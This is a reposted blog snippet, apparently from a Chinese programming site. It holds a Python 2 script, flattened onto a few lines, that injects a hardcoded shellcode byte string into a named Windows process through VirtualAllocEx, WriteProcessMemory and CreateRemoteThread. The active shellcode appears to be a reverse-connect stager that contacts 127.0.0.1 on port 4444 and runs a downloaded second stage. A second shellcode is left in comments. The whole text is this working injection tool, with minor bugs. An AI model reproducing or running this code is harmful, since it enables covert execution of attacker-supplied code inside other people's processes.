标签：x8b windows xff python 线程 ctypes x01 x00 shellcode
// 转自: https://blog.csdn.net/Jailman/article/details/77573990
import sys import psutil import ctypes from ctypes import * PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pName = sys.argv[1] if not sys.argv[1]: print "Code Injector: ./code_injector.py <name to inject>" sys.exit(0) # shellcode = \ # "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\ # "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\ # "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\ # "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"\ # "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"\ # "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"\ # "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"\ # "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; shellcode = "" shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" shellcode += "\xff\xd5\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11" shellcode += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" shellcode += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" shellcode += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a" shellcode += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" shellcode += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" shellcode += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40" shellcode += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57" shellcode += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9" shellcode += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0" shellcode += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5" code_size = len(shellcode) TH32CS_SNAPPROCESS = 0x00000002 class PROCESSENTRY32(ctypes.Structure): _fields_ = [("dwSize", ctypes.c_ulong), ("cntUsage", ctypes.c_ulong), ("th32ProcessID", ctypes.c_ulong), ("th32DefaultHeapID", ctypes.c_ulong), ("th32ModuleID", ctypes.c_ulong), ("cntThreads", ctypes.c_ulong), ("th32ParentProcessID", ctypes.c_ulong), ("pcPriClassBase", ctypes.c_ulong), ("dwFlags", ctypes.c_ulong), ("szExeFile", ctypes.c_char * 260)] # def getProcPid(procName): # CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot # Process32First = ctypes.windll.kernel32.Process32First # Process32Next = ctypes.windll.kernel32.Process32Next # CloseHandle = ctypes.windll.kernel32.CloseHandle # hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) # pe32 = PROCESSENTRY32() # pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) # if Process32First(hProcessSnap,ctypes.byref(pe32)) == False: # return # if pe32.szExeFile == procName: # CloseHandle(hProcessSnap) # return pe32.th32ProcessID # while True: # #yield pe32 #save the pe32 # if Process32Next(hProcessSnap,ctypes.byref(pe32)) == False: # break # if pe32.szExeFile == procName: # CloseHandle(hProcessSnap) # return pe32.th32ProcessID # CloseHandle(hProcessSnap) def getProcName(pname): """ get process by name return the first process if there are more than one """ for proc in psutil.process_iter(): try: if proc.name().lower() == pname.lower(): return str(proc).split('=')[1].split(',')[0] # return if found one except psutil.AccessDenied: pass except psutil.NoSuchProcess: pass return None procPid = int(getProcName(pName)) # procPid = 40560 print procPid # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, procPid ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point it's entry routine # to be head of our shellcode thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value
标签：x8b,windows,xff,python,线程,ctypes,x01,x00,shellcode 来源： https://www.cnblogs.com/hjbf/p/10670860.html
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